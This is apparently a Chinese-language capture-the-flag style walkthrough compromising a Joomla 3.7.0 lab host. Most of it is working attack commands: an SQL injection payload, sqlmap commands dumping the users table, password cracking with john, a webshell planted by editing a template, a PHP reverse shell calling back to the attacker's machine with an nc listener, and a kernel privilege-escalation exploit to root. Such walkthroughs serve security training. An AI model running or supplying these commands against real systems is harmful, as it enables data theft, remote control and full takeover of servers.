1.使用nmap进行目标扫描查询IP跟端口
nmap -sP 192.168.255.0/24 //扫描本网段ip
nmap -p- -A -O -v 192.168.255.155 //扫描该ip开放的端口
perl joomscan.pl --url http://192.168.255.155/
发现joomla版本跟敏感目录
通过百度可以发现joomla3.7.0存在sql注入漏洞
通过百度教程进行漏洞验证
http://192.168.255.155/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)
验证后我这里为了节约时间就直接使用sqlmap进行爆破
跑数据库
python sqlmap.py -u "http://192.168.255.155/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" --dbs --level 5 --dbs
跑joomladb数据库的表,如果不知道输入y或者n的话可以在后面参数加上–batch
python sqlmap.py -u "http://192.168.255.155/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" --dbs --level 5 --tables -D joomladb --batch
python sqlmap.py -u "http://192.168.255.155/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" --risk=3 --level=5 --random-agent -T "#__users" --columns -p list[fullordering]
python sqlmap.py -u "http://192.168.255.155/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" --risk=3 --level=5 --random-agent -C name,password -T #__users -D joomladb --dump -p list[fullordering]
将password的密钥放进文本文档里再使用kali的john工具对admin账号的密码进行破解
破解出admin的密码为snoopy
john pass.txt //破解密钥
john pass.txt -show //查看结果
本来是想通过上传图片马来拿shell,后来搞了半个小时也没用,最后是在模板模块可以修改文件代码拿到shell。
在模板功能点把主页面文件的代码换成冰蝎木马或者一句话都可以,我这里就直接用的大马,最后再保存。
再点击查看按钮页面显示木马成功执行。
最后使用burp工具在查看浏览的时候抓取数据包就可以得到webshell访问路径
http://192.168.255.155/index.php?tp=1&templateStyle=4
访问木马页面输入自己的密码进入页面
这里我们直接命令执行为kali反弹一个shell进行提权
//192.168.255.139是我的kali系统的ip地址后跟的是开放的的端口号
php -r '$sock=fsockopen("192.168.255.139",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
先使用nc开启一个监听端口
//监听4444端口
nc -lvvp 4444
再在木马页面上的命令执行功能上输入上面的命令,反弹端口的时候可能会慢一点多反弹几次就好了。
nc成功获取shell
nc拿到shell后的第一步使用python命令获取一个标准的shell
python -c 'import pty;pty.spawn("/bin/bash")'
可以看出现在的权限并不是root权限,现在就需要进行系统的信息收集。
cat /etc/issue //查看系统版本
uname -a //查看内核版本
这里可以查询内核提权的方法,通过SearchSploit漏洞查询工具查看Ubuntu 16.04系统的漏洞
searchsploit Ubuntu 16.04
找到对应的内核版本跟系统版本查看漏洞位置 /local/39772.txt文件里
查看39772.txt文件,不知道的可以使用find命令进行查询
find -name '39772.txt'
看不懂的可以翻译因为我也是翻译的,最下面就是内核提权索要使用的文件地址先下载下来。将压缩包里的exploit.tar压缩包文件上传进靶机里就可以了,我这里直接使用大马上传压缩包就可以了
提权
tar xvf exploit.tar //解压文件
cd ebpf_mapfd_doubleput_exploit //进入文件夹
./compile.sh //执行sh文件生成doubleput文件
./doubleput //获得root权限